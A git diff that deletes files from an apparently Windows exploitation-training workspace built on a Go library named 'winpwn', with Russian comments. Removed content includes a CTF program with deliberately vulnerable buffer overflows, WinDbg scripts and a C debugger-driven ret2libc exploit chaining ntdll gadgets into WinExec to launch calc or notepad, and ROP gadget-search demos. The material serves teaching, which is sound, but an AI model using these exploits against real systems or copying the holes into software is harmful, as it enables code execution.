IMAGE_SECTION_HEADER sectionHeader;
|
|
||||||
ReadFile(hFile, §ionHeader, sizeof(sectionHeader), &bytesRead, NULL);
|
|
||||||
|
|
||||||
printf(" %s - VA: 0x%X, Size: 0x%X\n",
|
|
||||||
sectionHeader.Name,
|
|
||||||
sectionHeader.VirtualAddress,
|
|
||||||
sectionHeader.SizeOfRawData);
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseHandle(hFile);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Функция-победитель (win)
|
|
||||||
void win(void) {
|
|
||||||
printf("flag{ret2win_but_its_WINDOWS}\n");
|
|
||||||
|
|
||||||
// Находим WinExec через PEB
|
|
||||||
FARPROC pWinExec = FindWinExec();
|
|
||||||
if (pWinExec) {
|
|
||||||
// Запускаем калькулятор через WinExec
|
|
||||||
typedef void (*WinExec_t)(LPCSTR, UINT);
|
|
||||||
WinExec_t WinExec_func = (WinExec_t)pWinExec;
|
|
||||||
WinExec_func("mspaint.exe", SW_SHOW);
|
|
||||||
printf("[+] paint launched!\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Уязвимая функция
|
|
||||||
void vulnerable_function() {
|
|
||||||
char buf[16];
|
|
||||||
|
|
||||||
printf("enter your data:\n");
|
|
||||||
scanf("%s", buf);
|
|
||||||
|
|
||||||
printf("try again\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char* argv[]) {
|
|
||||||
printf("=== Windows Buffer Overflow CTF Challenge ===\n\n");
|
|
||||||
|
|
||||||
// Если передан аргумент, парсим .exe файл
|
|
||||||
if (argc > 1) {
|
|
||||||
printf("[*] Parsing PE file: %s\n", argv[1]);
|
|
||||||
ParseExeFile(argv[1]);
|
|
||||||
printf("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Демонстрируем поиск WinExec через PEB
|
|
||||||
printf("[*] Finding WinExec via PEB parsing...\n");
|
|
||||||
FARPROC pWinExec = FindWinExec();
|
|
||||||
if (pWinExec) {
|
|
||||||
printf("[+] WinExec found at: 0x%p\n", pWinExec);
|
|
||||||
}
|
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Вызываем уязвимую функцию
|
|
||||||
vulnerable_function();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
void copy(const char *p)
|
|
||||||
{
|
|
||||||
char buffer[40];
|
|
||||||
strcpy(buffer, p);
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, char** argv)
|
|
||||||
{
|
|
||||||
if (argc != 2) return 1;
|
|
||||||
|
|
||||||
copy(argv[1]);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,17 +0,0 @@
|
|||||||
bp 0x14000729d
|
|
||||||
g
|
|
||||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
|
||||||
eq 14fe80+38 7ff80826a853
|
|
||||||
eq 14fe80+40 14fe80
|
|
||||||
eq 14fe80+48 7ff8082dcc27
|
|
||||||
eq 14fe80+50 1
|
|
||||||
eq 14fe80+58 0
|
|
||||||
eq 14fe80+60 7ff8072a8820
|
|
||||||
bp 7ff8072a8820
|
|
||||||
g
|
|
||||||
r rsp
|
|
||||||
!teb
|
|
||||||
gu
|
|
||||||
r rax
|
|
||||||
!gle
|
|
||||||
q
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
bp 0x14000729d
|
|
||||||
g
|
|
||||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
|
||||||
eq 14fe80+38 7ff80826a853
|
|
||||||
eq 14fe80+40 14fe80
|
|
||||||
eq 14fe80+48 7ff8082dcc27
|
|
||||||
eq 14fe80+50 1
|
|
||||||
eq 14fe80+58 0
|
|
||||||
eq 14fe80+60 7ff8072a8820
|
|
||||||
bp 7ff8072a8820
|
|
||||||
g
|
|
||||||
da 14fe80
|
|
||||||
r rcx,rdx
|
|
||||||
q
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
bp 0x14000729d
|
|
||||||
g
|
|
||||||
eb 14fe80 63 61 6c 63 2e 65 78 65 00
|
|
||||||
eq 14fe80+38 7ff80826a853
|
|
||||||
eq 14fe80+40 14fe80
|
|
||||||
eq 14fe80+48 7ff8082dcc27
|
|
||||||
eq 14fe80+50 1
|
|
||||||
eq 14fe80+58 0
|
|
||||||
eq 14fe80+60 7ff8072a8820
|
|
||||||
bp 7ff8072a8820
|
|
||||||
g
|
|
||||||
gu
|
|
||||||
r rax
|
|
||||||
!gle
|
|
||||||
q
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
bp 0x14000729d
|
|
||||||
g
|
|
||||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
|
||||||
eq 14fe80+38 7ff80826a853
|
|
||||||
eq 14fe80+40 14fe80
|
|
||||||
eq 14fe80+48 7ff8082dcc27
|
|
||||||
eq 14fe80+50 1
|
|
||||||
eq 14fe80+58 0
|
|
||||||
eq 14fe80+60 7ff8072a8820
|
|
||||||
bp kernelbase!CreateProcessInternalW
|
|
||||||
g
|
|
||||||
r rcx,rdx,r8,r9
|
|
||||||
du poi(rdx)
|
|
||||||
q
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
bp 0x14000729d
|
|
||||||
g
|
|
||||||
eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00
|
|
||||||
eq 14fe80+38 7ff80826a853
|
|
||||||
eq 14fe80+40 14fe80
|
|
||||||
eq 14fe80+48 7ff8082dcc27
|
|
||||||
eq 14fe80+50 1
|
|
||||||
eq 14fe80+58 0
|
|
||||||
eq 14fe80+60 7ff8072a8820
|
|
||||||
bp kernelbase!CreateProcessInternalW
|
|
||||||
g
|
|
||||||
r rcx,rdx
|
|
||||||
g
|
|
||||||
r rcx,rdx
|
|
||||||
g
|
|
||||||
r rcx,rdx
|
|
||||||
q
|
|
||||||
@@ -1,98 +0,0 @@
|
|||||||
// pe_multitool tours the static-analysis side of winpwn: checksec, section
|
|
||||||
// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP
|
|
||||||
// gadget scanner. Run from: workspace/demos/pe_multitool -> go run .
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
const target = "simple_rop.exe";
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
pe, err := winpwn.OpenPE(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
defer pe.Close()
|
|
||||||
|
|
||||||
is64, _ := pe.Is64Bit()
|
|
||||||
base, _ := pe.ImageBase()
|
|
||||||
entry, _ := pe.EntryPoint()
|
|
||||||
fmt.Printf("=== %s ===\n", target)
|
|
||||||
fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry)
|
|
||||||
|
|
||||||
// --- checksec ---
|
|
||||||
cs, err := pe.Checksec()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Checksec: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Println("--- checksec ---")
|
|
||||||
fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR)
|
|
||||||
fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA)
|
|
||||||
fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP)
|
|
||||||
fmt.Printf("CFG: %v\n", cs.CFG)
|
|
||||||
if cs.SEHApplicable {
|
|
||||||
fmt.Printf("SafeSEH: %v\n", cs.SafeSEH)
|
|
||||||
} else {
|
|
||||||
fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)")
|
|
||||||
}
|
|
||||||
fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic)
|
|
||||||
fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned)
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
// --- section entropy / packing ---
|
|
||||||
fmt.Println("--- sections ---")
|
|
||||||
for _, sec := range pe.Sections() {
|
|
||||||
entropy, _ := sec.Entropy()
|
|
||||||
fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n",
|
|
||||||
sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy)
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
// --- IAT: what does this binary already pull in? ---
|
|
||||||
fmt.Println("--- interesting imports ---")
|
|
||||||
for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} {
|
|
||||||
imp, err := pe.FindImport(name)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("%-16s not imported\n", name)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA)
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
// --- EAT: does this binary export anything (e.g. a win() for ROP)? ---
|
|
||||||
exports, err := pe.ListExports()
|
|
||||||
if err == nil {
|
|
||||||
fmt.Printf("--- exports (%d) ---\n", len(exports))
|
|
||||||
for _, e := range exports {
|
|
||||||
if e.ForwardTarget != "" {
|
|
||||||
dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget)
|
|
||||||
fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn)
|
|
||||||
} else {
|
|
||||||
fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
}
|
|
||||||
|
|
||||||
rop, err := winpwn.NewROP(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("NewROP: %v", err)
|
|
||||||
}
|
|
||||||
defer rop.Close()
|
|
||||||
|
|
||||||
fmt.Println("--- gadgets ---")
|
|
||||||
if g, err := rop.Search("pop rcx ; ret"); err == nil {
|
|
||||||
fmt.Printf("pop rcx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g))
|
|
||||||
if lines, err := rop.Disassemble(g[0].Address, 2); err == nil {
|
|
||||||
fmt.Printf(" verified: %v\n", lines)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil {
|
|
||||||
fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Binary file not shown.
@@ -1,67 +0,0 @@
|
|||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
|
|
||||||
char payload[] = {
|
|
||||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
||||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
||||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
||||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
||||||
"\xF8\x0E\x7E\x77"
|
|
||||||
};
|
|
||||||
|
|
||||||
char commandLine[] = "bof.exe ";
|
|
||||||
|
|
||||||
size_t neededSize = strlen(commandLine) + strlen(payload) + 1;
|
|
||||||
|
|
||||||
char* fin = (char*)malloc(neededSize);
|
|
||||||
|
|
||||||
snprintf(fin, neededSize, "%s%s", commandLine, payload);
|
|
||||||
|
|
||||||
STARTUPINFOA si;
|
|
||||||
PROCESS_INFORMATION pi;
|
|
||||||
|
|
||||||
ZeroMemory(&si, sizeof(si));
|
|
||||||
si.cb = sizeof(si);
|
|
||||||
ZeroMemory(&pi, sizeof(pi));
|
|
||||||
|
|
||||||
BOOL success = CreateProcessA(
|
|
||||||
NULL, // Имя модуля (используем командную строку)
|
|
||||||
fin, // Командная строка (включая аргументы)
|
|
||||||
NULL, // Атрибуты безопасности процесса
|
|
||||||
NULL, // Атрибуты безопасности потока
|
|
||||||
FALSE, // Наследование дескрипторов
|
|
||||||
0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет
|
|
||||||
NULL, // Окружение
|
|
||||||
NULL, // Текущий каталог
|
|
||||||
&si, // Указатель на STARTUPINFO
|
|
||||||
&pi // Указатель на PROCESS_INFORMATION
|
|
||||||
);
|
|
||||||
|
|
||||||
/* if (!success) {
|
|
||||||
printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError());
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId);
|
|
||||||
printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId);
|
|
||||||
|
|
||||||
|
|
||||||
printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n");
|
|
||||||
getchar();
|
|
||||||
|
|
||||||
// Оживляем главный поток процесса
|
|
||||||
printf("[*] Возобновление потока...\n");
|
|
||||||
ResumeThread(pi.hThread);
|
|
||||||
*/
|
|
||||||
// Закрываем дескрипторы (они больше не нужны нашему лоадеру)
|
|
||||||
|
|
||||||
|
|
||||||
CloseHandle(pi.hProcess);
|
|
||||||
CloseHandle(pi.hThread);
|
|
||||||
|
|
||||||
free(fin);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
Binary file not shown.
@@ -1,139 +0,0 @@
|
|||||||
// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64).
|
|
||||||
//
|
|
||||||
// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry
|
|
||||||
// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and
|
|
||||||
// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec),
|
|
||||||
// so instead we launch the target as our own debuggee, let the harmless placeholder
|
|
||||||
// argv[1] overflow the saved return address as usual, then - right before the `ret`
|
|
||||||
// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has
|
|
||||||
// no null-byte restriction at all.
|
|
||||||
//
|
|
||||||
// Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off):
|
|
||||||
// [0..7] "calc.exe"
|
|
||||||
// [8] 0x00
|
|
||||||
// [56..63] &(pop rcx; ret) <- overwritten saved return address
|
|
||||||
// [64..71] BUF_ADDR <- popped into RCX (&"calc.exe")
|
|
||||||
// [72..79] &(pop rdx; pop r11; ret)
|
|
||||||
// [80..87] 1 <- popped into RDX (SW_SHOWNORMAL)
|
|
||||||
// [88..95] 0 <- popped into R11 (unused)
|
|
||||||
// [96..103]&WinExec <- final ret target
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#define TARGET_EXE "bof_noASLR_noCANARY.exe"
|
|
||||||
#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL)
|
|
||||||
#define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL)
|
|
||||||
#define RET_OFFSET 56
|
|
||||||
|
|
||||||
// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves)
|
|
||||||
#define POP_RCX_RET_RVA 0x1a853
|
|
||||||
#define POP_RDX_POP_R11_RET_RVA 0x8cc27
|
|
||||||
|
|
||||||
int main(void) {
|
|
||||||
char placeholder[71];
|
|
||||||
memset(placeholder, 'A', 70);
|
|
||||||
placeholder[70] = '\0';
|
|
||||||
|
|
||||||
char cmdline[256];
|
|
||||||
snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder);
|
|
||||||
|
|
||||||
STARTUPINFOA si;
|
|
||||||
PROCESS_INFORMATION pi;
|
|
||||||
ZeroMemory(&si, sizeof(si));
|
|
||||||
si.cb = sizeof(si);
|
|
||||||
ZeroMemory(&pi, sizeof(pi));
|
|
||||||
|
|
||||||
if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
|
|
||||||
DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) {
|
|
||||||
printf("[-] CreateProcess failed: %lu\n", GetLastError());
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
|
|
||||||
if (!hNtdll || !hK32) {
|
|
||||||
printf("[-] failed to resolve module handles\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll;
|
|
||||||
ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA;
|
|
||||||
ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA;
|
|
||||||
ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec");
|
|
||||||
|
|
||||||
printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase);
|
|
||||||
printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet);
|
|
||||||
printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret);
|
|
||||||
printf("[*] WinExec: 0x%p\n", (void*)winExec);
|
|
||||||
|
|
||||||
BYTE origByte = 0;
|
|
||||||
SIZE_T bytesIO;
|
|
||||||
BOOL patched = FALSE;
|
|
||||||
DEBUG_EVENT dbg;
|
|
||||||
|
|
||||||
while (WaitForDebugEvent(&dbg, INFINITE)) {
|
|
||||||
DWORD contStatus = DBG_CONTINUE;
|
|
||||||
|
|
||||||
if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
|
|
||||||
ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
|
|
||||||
BYTE int3 = 0xCC;
|
|
||||||
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO);
|
|
||||||
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
|
|
||||||
if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile);
|
|
||||||
}
|
|
||||||
else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
|
|
||||||
EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord;
|
|
||||||
|
|
||||||
if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT &&
|
|
||||||
er->ExceptionAddress == RET_INSN_ADDR) {
|
|
||||||
|
|
||||||
patched = TRUE;
|
|
||||||
printf("[+] hit breakpoint at copy()'s ret, patching stack...\n");
|
|
||||||
|
|
||||||
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
|
|
||||||
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
|
|
||||||
|
|
||||||
CONTEXT ctx;
|
|
||||||
memset(&ctx, 0, sizeof(ctx));
|
|
||||||
ctx.ContextFlags = CONTEXT_ALL;
|
|
||||||
GetThreadContext(pi.hThread, &ctx);
|
|
||||||
ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR;
|
|
||||||
SetThreadContext(pi.hThread, &ctx);
|
|
||||||
|
|
||||||
const char *cmd = "notepad.exe";
|
|
||||||
BYTE chain[104];
|
|
||||||
memset(chain, 0, sizeof(chain));
|
|
||||||
memcpy(chain, cmd, strlen(cmd) + 1);
|
|
||||||
|
|
||||||
ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET);
|
|
||||||
p[0] = popRcxRet;
|
|
||||||
p[1] = BUF_ADDR;
|
|
||||||
p[2] = popRdxR11Ret;
|
|
||||||
p[3] = 1;
|
|
||||||
p[4] = 0;
|
|
||||||
p[5] = winExec;
|
|
||||||
|
|
||||||
WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO);
|
|
||||||
FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain));
|
|
||||||
|
|
||||||
printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO);
|
|
||||||
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
|
|
||||||
printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode);
|
|
||||||
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus);
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseHandle(pi.hProcess);
|
|
||||||
CloseHandle(pi.hThread);
|
|
||||||
Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,85 +0,0 @@
|
|||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
|
|
||||||
pe, err := winpwn.OpenPE("./bof_win.c.exe")
|
|
||||||
|
|
||||||
if err == nil {
|
|
||||||
defer pe.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Failed to open DLL: %v", err)
|
|
||||||
}
|
|
||||||
defer msvcrt.Close()
|
|
||||||
|
|
||||||
// 2. Ищем функцию system (аналог libc.symbols['system'])
|
|
||||||
systemRVA, err := msvcrt.GetProcAddress("system")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("system() not found")
|
|
||||||
}
|
|
||||||
log.Printf("[+] system() RVA: 0x%X", systemRVA)
|
|
||||||
|
|
||||||
// 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00')))
|
|
||||||
cmdPattern := []byte("cmd.exe\x00")
|
|
||||||
cmdRVAs, err := msvcrt.SearchBytes(cmdPattern)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("String 'cmd.exe' not found")
|
|
||||||
}
|
|
||||||
log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0])
|
|
||||||
|
|
||||||
// ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ...
|
|
||||||
var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса
|
|
||||||
|
|
||||||
// 4. Вычисляем абсолютные адреса для ROP-цепочки
|
|
||||||
systemAddr := msvcrtBase + systemRVA
|
|
||||||
cmdStringAddr := msvcrtBase + cmdRVAs[0]
|
|
||||||
|
|
||||||
log.Printf("[+] system() absolute address: 0x%X", systemAddr)
|
|
||||||
log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr)
|
|
||||||
|
|
||||||
//------------------------------------
|
|
||||||
rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("rop init error : %v", err)
|
|
||||||
}
|
|
||||||
defer rop.Close()
|
|
||||||
|
|
||||||
popRcx, err := rop.Search("pop rcx ; ret")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Gadget not found")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Выводим первый найденный гаджет
|
|
||||||
fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address)
|
|
||||||
|
|
||||||
// Интеграция в пейлоад
|
|
||||||
// payload = append(payload, winpwn.P64(popRcx[0].Address)...)
|
|
||||||
|
|
||||||
payload := bytes.Repeat([]byte("a"), 128)
|
|
||||||
|
|
||||||
p, err := winpwn.Spawn("bof_win.c.exe")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Spawn: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil {
|
|
||||||
log.Fatalf("SendLineAfter: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
p.Interactive()
|
|
||||||
}
|
|
||||||
|
|
||||||
/*На что обратить внимание твоим участникам:
|
|
||||||
|
|
||||||
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
|
||||||
|
|
||||||
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|
|
||||||
Binary file not shown.
@@ -1,115 +0,0 @@
|
|||||||
// pe_multitool tours the static-analysis side of winpwn: checksec, section
|
|
||||||
// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP
|
|
||||||
// gadget scanner. Run from: workspace/demos/pe_multitool -> go run .
|
|
||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"winpwn"
|
|
||||||
)
|
|
||||||
const target = "../../../../Users/lee/Desktop/win_sems/Seminar/2019_Winter_WinPwn/200108/Lab2/simple_rop.exe"
|
|
||||||
//const target = "../../../../Windows/System32/kernel32.dll"
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
pe, err := winpwn.OpenPE(target)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("OpenPE: %v", err)
|
|
||||||
}
|
|
||||||
defer pe.Close()
|
|
||||||
|
|
||||||
is64, _ := pe.Is64Bit()
|
|
||||||
base, _ := pe.ImageBase()
|
|
||||||
entry, _ := pe.EntryPoint()
|
|
||||||
fmt.Printf("=== %s ===\n", target)
|
|
||||||
fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry)
|
|
||||||
|
|
||||||
// --- checksec ---
|
|
||||||
cs, err := pe.Checksec()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("Checksec: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Println("--- checksec ---")
|
|
||||||
fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR)
|
|
||||||
fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA)
|
|
||||||
fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP)
|
|
||||||
fmt.Printf("CFG: %v\n", cs.CFG)
|
|
||||||
if cs.SEHApplicable {
|
|
||||||
fmt.Printf("SafeSEH: %v\n", cs.SafeSEH)
|
|
||||||
} else {
|
|
||||||
fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)")
|
|
||||||
}
|
|
||||||
fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic)
|
|
||||||
fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned)
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
// --- section entropy / packing ---
|
|
||||||
fmt.Println("--- sections ---")
|
|
||||||
for _, sec := range pe.Sections() {
|
|
||||||
entropy, _ := sec.Entropy()
|
|
||||||
fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n",
|
|
||||||
sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy)
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
// --- IAT: what does this binary already pull in? ---
|
|
||||||
fmt.Println("--- interesting imports ---")
|
|
||||||
for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} {
|
|
||||||
imp, err := pe.FindImport(name)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("%-16s not imported\n", name)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA)
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
|
|
||||||
// --- EAT: does this binary export anything (e.g. a win() for ROP)? ---
|
|
||||||
exports, err := pe.ListExports()
|
|
||||||
if err == nil {
|
|
||||||
fmt.Printf("--- exports (%d) ---\n", len(exports))
|
|
||||||
for _, e := range exports {
|
|
||||||
if e.ForwardTarget != "" {
|
|
||||||
dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget)
|
|
||||||
fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn)
|
|
||||||
} else {
|
|
||||||
fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fmt.Println()
|
|
||||||
}
|
|
||||||
|
|
||||||
